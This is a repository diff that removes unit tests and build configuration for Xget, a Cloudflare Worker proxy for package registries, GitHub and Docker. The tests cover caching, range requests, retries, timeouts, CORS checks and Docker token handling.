{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '5' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(502);
|
||||
expect(setTimeoutSpy).toHaveBeenCalled();
|
||||
expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);
|
||||
});
|
||||
|
||||
it('does not cache host-bound PyPI rewritten HTML responses', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('<a href="https://files.pythonhosted.org/packages/demo.whl">demo</a>', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/html; charset=utf-8' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://mirror.example/pypi/simple/demo/'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
const body = await response.text();
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(body).toContain('https://mirror.example/pypi/files/packages/demo.whl');
|
||||
expect(response.headers.get('Cache-Control')).toBe('no-store');
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('forwards body and content type for configured non-protocol POST requests', async () => {
|
||||
/** @type {{ url: string, method: string | undefined, body: string | null, contentType: string | null, cf: unknown }} */
|
||||
let observed = {
|
||||
url: '',
|
||||
method: undefined,
|
||||
body: null,
|
||||
contentType: null,
|
||||
cf: undefined
|
||||
};
|
||||
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
|
||||
observed = {
|
||||
url: String(input),
|
||||
method: init?.method,
|
||||
body: init?.body ? await new Response(init.body).text() : null,
|
||||
contentType: new Headers(init?.headers).get('Content-Type'),
|
||||
cf: /** @type {RequestInit & { cf?: unknown }} */ (init || {}).cf
|
||||
};
|
||||
|
||||
return new Response('created', {
|
||||
status: 201,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
});
|
||||
});
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/issues', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ title: 'test' })
|
||||
}),
|
||||
{ ALLOWED_METHODS: 'GET,HEAD,POST' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(201);
|
||||
expect(observed).toEqual({
|
||||
url: 'https://github.com/user/repo/issues',
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ title: 'test' }),
|
||||
contentType: 'application/json',
|
||||
cf: undefined
|
||||
});
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(1);
|
||||
expect(cacheDefault.match).not.toHaveBeenCalled();
|
||||
expect(response.headers.get('Cache-Control')).toBe('no-store');
|
||||
});
|
||||
|
||||
it('returns Docker registry version metadata for /v2/ probes', async () => {
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/v2/'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeNull();
|
||||
expect(await response.text()).toBe('{}');
|
||||
});
|
||||
|
||||
it('redirects unknown platforms and bare platform prefixes to the homepage', async () => {
|
||||
const unknownPlatform = await worker.fetch(
|
||||
new Request('https://example.com/not-a-platform/resource'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
const barePlatform = await worker.fetch(
|
||||
new Request('https://example.com/gh/', { method: 'GET' }),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(unknownPlatform.status).toBe(302);
|
||||
expect(unknownPlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
|
||||
expect(barePlatform.status).toBe(302);
|
||||
expect(barePlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
|
||||
});
|
||||
|
||||
it('rejects Docker requests that do not use a /cr/ prefix', async () => {
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/v2/library/nginx/manifests/latest'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(await response.text()).toContain('/cr/ prefix');
|
||||
});
|
||||
|
||||
it('rejects disallowed CORS preflight methods before proxying upstream', async () => {
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo', {
|
||||
method: 'OPTIONS',
|
||||
headers: {
|
||||
Origin: 'https://app.example.com',
|
||||
'Access-Control-Request-Method': 'POST'
|
||||
}
|
||||
}),
|
||||
{ ALLOWED_ORIGINS: 'https://app.example.com' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
expect(await response.text()).toBe('Method not allowed');
|
||||
});
|
||||
|
||||
it('serves cached responses without proxying upstream', async () => {
|
||||
cacheDefault.match.mockResolvedValueOnce(
|
||||
new Response('cached-body', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('should-not-run', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(await response.text()).toBe('cached-body');
|
||||
expect(metrics).toHaveProperty('cache_hit');
|
||||
expect(fetchSpy).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('reuses cached full content for range requests when a ranged entry is absent', async () => {
|
||||
cacheDefault.match.mockResolvedValueOnce(null).mockResolvedValueOnce(
|
||||
new Response('full-body', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('should-not-run', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt', {
|
||||
headers: { Range: 'bytes=0-3' }
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(await response.text()).toBe('full-body');
|
||||
expect(metrics).toHaveProperty('cache_hit_full_content');
|
||||
expect(fetchSpy).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('falls back to upstream fetch when cache lookup throws', async () => {
|
||||
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
cacheDefault.match.mockRejectedValueOnce(new Error('cache-down'));
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(1);
|
||||
expect(warnSpy).toHaveBeenCalledWith('Cache API unavailable:', expect.any(Error));
|
||||
});
|
||||
|
||||
it('configures Git passthrough headers for upload-pack requests', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/x-git-upload-pack-result' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo.git/git-upload-pack', {
|
||||
method: 'POST'
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(upstreamHeaders.get('User-Agent')).toBe('git/2.34.1');
|
||||
expect(upstreamHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');
|
||||
});
|
||||
|
||||
it('derives HEAD content length from a range probe when the upstream omits it', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
|
||||
if (init?.method === 'HEAD') {
|
||||
return new Response(null, {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
});
|
||||
}
|
||||
|
||||
expect(new Headers(init?.headers).get('Range')).toBe('bytes=0-0');
|
||||
return new Response(null, {
|
||||
status: 206,
|
||||
headers: { 'Content-Range': 'bytes 0-0/123' }
|
||||
});
|
||||
});
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get('Content-Length')).toBe('123');
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it('uses a successful GET probe to recover missing HEAD content length', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
|
||||
if (init?.method === 'HEAD') {
|
||||
return new Response(null, {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
});
|
||||
}
|
||||
|
||||
return new Response(null, {
|
||||
status: 200,
|
||||
headers: { 'Content-Length': '321' }
|
||||
});
|
||||
});
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get('Content-Length')).toBe('321');
|
||||
});
|
||||
|
||||
it('wraps upstream client errors in detailed JSON responses', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('teapot', {
|
||||
status: 418,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0' },
|
||||
executionContext
|
||||
);
|
||||
const body = await response.json();
|
||||
|
||||
expect(response.status).toBe(418);
|
||||
expect(body.error).toContain('Upstream server error (418): teapot');
|
||||
});
|
||||
|
||||
it('retries upstream 5xx responses before succeeding', async () => {
|
||||
const fetchSpy = vi
|
||||
.spyOn(globalThis, 'fetch')
|
||||
.mockResolvedValueOnce(
|
||||
new Response('busy', {
|
||||
status: 503,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
)
|
||||
.mockResolvedValueOnce(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it('retries rejected upstream fetches before succeeding', async () => {
|
||||
const fetchSpy = vi
|
||||
.spyOn(globalThis, 'fetch')
|
||||
.mockRejectedValueOnce(new Error('temporary-network-failure'))
|
||||
.mockResolvedValueOnce(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it('times out requests when the abort timer fires', async () => {
|
||||
const timeoutToken = { id: 'abort-timeout' };
|
||||
const clearTimeoutSpy = vi.fn();
|
||||
|
||||
vi.stubGlobal(
|
||||
'setTimeout',
|
||||
vi.fn((callback, delay) => {
|
||||
void delay;
|
||||
callback();
|
||||
return timeoutToken;
|
||||
})
|
||||
);
|
||||
vi.stubGlobal('clearTimeout', clearTimeoutSpy);
|
||||
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
|
||||
if (init?.signal?.aborted) {
|
||||
const error = new Error(`Aborted before fetching ${String(input)}`);
|
||||
error.name = 'AbortError';
|
||||
throw error;
|
||||
}
|
||||
|
||||
return new Response('unexpected-success', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
});
|
||||
});
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(408);
|
||||
expect(await response.text()).toBe('Request timeout');
|
||||
expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);
|
||||
});
|
||||
|
||||
it('falls back to default retries when retry configuration is invalid', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{ MAX_RETRIES: '-1' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(await response.text()).toBe('ok');
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('logs and recovers when request setup throws unexpectedly', async () => {
|
||||
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
|
||||
const redirectSpy = vi.spyOn(Response, 'redirect').mockImplementation(() => {
|
||||
throw new Error('boom');
|
||||
});
|
||||
|
||||
const response = await worker.fetch(new Request('https://example.com/'), {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(500);
|
||||
expect(await response.text()).toBe('Internal Server Error');
|
||||
expect(errorSpy).toHaveBeenCalledWith('Error handling request:', expect.any(Error));
|
||||
expect(redirectSpy).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('retries Docker requests with an anonymous token and follows redirects on success', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
|
||||
const url = String(input);
|
||||
const headers = new Headers(init?.headers);
|
||||
|
||||
if (url === 'https://ghcr.io/v2/private/repo/manifests/latest') {
|
||||
if (!headers.has('Authorization')) {
|
||||
return new Response('', {
|
||||
status: 401,
|
||||
headers: {
|
||||
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
expect(headers.get('Authorization')).toBe('Bearer token-123');
|
||||
return new Response(null, {
|
||||
status: 302,
|
||||
headers: { Location: 'https://pkg.example.com/manifest' }
|
||||
});
|
||||
}
|
||||
|
||||
if (url.startsWith('https://ghcr.io/token')) {
|
||||
return new Response(JSON.stringify({ token: 'token-123' }), {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
});
|
||||
}
|
||||
|
||||
if (url === 'https://pkg.example.com/manifest') {
|
||||
expect(headers.get('Authorization')).toBeNull();
|
||||
return new Response('', {
|
||||
status: 200,
|
||||
headers: { 'Content-Length': '0' }
|
||||
});
|
||||
}
|
||||
|
||||
throw new Error(`Unexpected fetch URL: ${url}`);
|
||||
});
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
|
||||
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(4);
|
||||
});
|
||||
|
||||
it('warns and falls back to a Docker auth challenge when token negotiation fails', async () => {
|
||||
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('', {
|
||||
status: 401,
|
||||
headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token"' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
|
||||
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(401);
|
||||
expect(response.headers.get('WWW-Authenticate')).toBe(
|
||||
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
|
||||
);
|
||||
expect(warnSpy).toHaveBeenCalledWith('Token fetch failed:', expect.any(Error));
|
||||
});
|
||||
|
||||
it('returns a ranged response after caching the full upstream body', async () => {
|
||||
cacheDefault.match
|
||||
.mockResolvedValueOnce(null)
|
||||
.mockResolvedValueOnce(null)
|
||||
.mockResolvedValueOnce(
|
||||
new Response('xy', {
|
||||
status: 206,
|
||||
headers: { 'Content-Range': 'bytes 0-1/6' }
|
||||
})
|
||||
);
|
||||
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('xyz123', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.bin', {
|
||||
headers: { Range: 'bytes=0-1' }
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
|
||||
|
||||
expect(response.status).toBe(206);
|
||||
expect(metrics).toHaveProperty('range_cache_hit_after_full_cache');
|
||||
});
|
||||
|
||||
it('warns when cache writes fail without waitUntil support', async () => {
|
||||
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
cacheDefault.put.mockRejectedValueOnce(new Error('cache-put-down'));
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('cached', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{},
|
||||
/** @type {ExecutionContext} */ ({})
|
||||
);
|
||||
|
||||
await Promise.resolve();
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(warnSpy).toHaveBeenCalledWith('Cache put failed:', expect.any(Error));
|
||||
});
|
||||
|
||||
it('warns when post-store cache lookups fail for range requests', async () => {
|
||||
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
cacheDefault.match
|
||||
.mockResolvedValueOnce(null)
|
||||
.mockResolvedValueOnce(null)
|
||||
.mockRejectedValueOnce(new Error('range-cache-down'));
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('abcdef', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.bin', {
|
||||
headers: { Range: 'bytes=0-1' }
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(warnSpy).toHaveBeenCalledWith('Cache put/match failed:', expect.any(Error));
|
||||
});
|
||||
|
||||
it('copies upstream content length from non-standard header objects when needed', async () => {
|
||||
const upstreamHeaders = {
|
||||
/**
|
||||
* Reads an upstream header value.
|
||||
* @param {string} name
|
||||
*/
|
||||
get(name) {
|
||||
const header = name.toLowerCase();
|
||||
if (header === 'content-type') {
|
||||
return 'text/plain';
|
||||
}
|
||||
if (header === 'content-length') {
|
||||
return '777';
|
||||
}
|
||||
return null;
|
||||
},
|
||||
*[Symbol.iterator]() {
|
||||
yield ['Content-Type', 'text/plain'];
|
||||
}
|
||||
};
|
||||
|
||||
const fakeResponse = /** @type {Response} */ ({
|
||||
body: null,
|
||||
headers: upstreamHeaders,
|
||||
ok: true,
|
||||
status: 200,
|
||||
statusText: 'OK',
|
||||
text: async () => 'ok'
|
||||
});
|
||||
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get('Content-Length')).toBe('777');
|
||||
});
|
||||
|
||||
it('warns when upstream content length cannot be read during response finalization', async () => {
|
||||
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
const upstreamHeaders = {
|
||||
/**
|
||||
* Reads an upstream header value.
|
||||
* @param {string} name
|
||||
*/
|
||||
get(name) {
|
||||
if (name.toLowerCase() === 'content-type') {
|
||||
return 'text/plain';
|
||||
}
|
||||
|
||||
throw new Error('content-length unavailable');
|
||||
},
|
||||
*[Symbol.iterator]() {
|
||||
yield ['Content-Type', 'text/plain'];
|
||||
}
|
||||
};
|
||||
|
||||
const fakeResponse = /** @type {Response} */ ({
|
||||
body: null,
|
||||
headers: upstreamHeaders,
|
||||
ok: true,
|
||||
status: 200,
|
||||
statusText: 'OK',
|
||||
text: async () => 'ok'
|
||||
});
|
||||
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(warnSpy).toHaveBeenCalledWith('Could not set Content-Length header:', expect.any(Error));
|
||||
});
|
||||
});
|
||||
@@ -1,17 +0,0 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"allowJs": true,
|
||||
"checkJs": true,
|
||||
"esModuleInterop": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "bundler",
|
||||
"noEmit": true,
|
||||
"skipLibCheck": true,
|
||||
"strict": true,
|
||||
"target": "ES2022",
|
||||
"types": ["node"]
|
||||
},
|
||||
"exclude": ["node_modules", "dist", "coverage"],
|
||||
"include": ["src/**/*", "test/**/*", "node_modules/@cloudflare/vitest-pool-workers/types/**/*"]
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
import { cloudflareTest } from '@cloudflare/vitest-pool-workers';
|
||||
import { configDefaults, defineConfig } from 'vitest/config';
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [
|
||||
cloudflareTest({
|
||||
wrangler: { configPath: './wrangler.toml' }
|
||||
})
|
||||
],
|
||||
test: {
|
||||
exclude: [...configDefaults.exclude, 'test/unit/commitlint-workflow.test.js'],
|
||||
testTimeout: 60000,
|
||||
hookTimeout: 30000
|
||||
}
|
||||
});
|
||||
@@ -1,43 +0,0 @@
|
||||
import { defineConfig } from 'vitest/config';
|
||||
|
||||
export default defineConfig({
|
||||
test: {
|
||||
testTimeout: 60000,
|
||||
hookTimeout: 30000,
|
||||
include: [
|
||||
'test/features/auth.test.js',
|
||||
'test/unit/**/*.test.js',
|
||||
'test/platforms/crates.test.js',
|
||||
'test/platforms/cran.test.js',
|
||||
'test/platforms/flathub.test.js',
|
||||
'test/platforms/homebrew.test.js',
|
||||
'test/platforms/jenkins.test.js',
|
||||
'test/platforms/npm-fix.test.js',
|
||||
'test/platforms/opensuse.test.js'
|
||||
],
|
||||
coverage: {
|
||||
// Cloudflare's Vitest Workers pool cannot emit reliable coverage yet,
|
||||
// so this suite targets the Node-compatible tests that still exercise src/.
|
||||
provider: 'istanbul',
|
||||
reporter: ['text', 'json', 'html', 'lcov'],
|
||||
reportsDirectory: './coverage',
|
||||
exclude: [
|
||||
'node_modules/**',
|
||||
'test/**',
|
||||
'coverage/**',
|
||||
'dist/**',
|
||||
'*.config.js',
|
||||
'*.config.ts'
|
||||
],
|
||||
include: ['src/**/*.js', 'src/**/*.ts'],
|
||||
thresholds: {
|
||||
global: {
|
||||
branches: 65,
|
||||
functions: 75,
|
||||
lines: 70,
|
||||
statements: 70
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
+1
-20
@@ -1,24 +1,5 @@
|
||||
#:schema node_modules/wrangler/config-schema.json
|
||||
name = "xget"
|
||||
main = "src/index.js"
|
||||
pages_build_output_dir = "."
|
||||
compatibility_date = "2024-10-22"
|
||||
compatibility_flags = ["nodejs_compat"]
|
||||
workers_dev = false
|
||||
|
||||
[placement]
|
||||
mode = "smart"
|
||||
|
||||
[observability]
|
||||
enabled = false
|
||||
head_sampling_rate = 1
|
||||
|
||||
[observability.logs]
|
||||
enabled = true
|
||||
head_sampling_rate = 1
|
||||
persist = true
|
||||
invocation_logs = true
|
||||
|
||||
[observability.traces]
|
||||
enabled = true
|
||||
persist = true
|
||||
head_sampling_rate = 1
|
||||
Reference in new issue
Block a user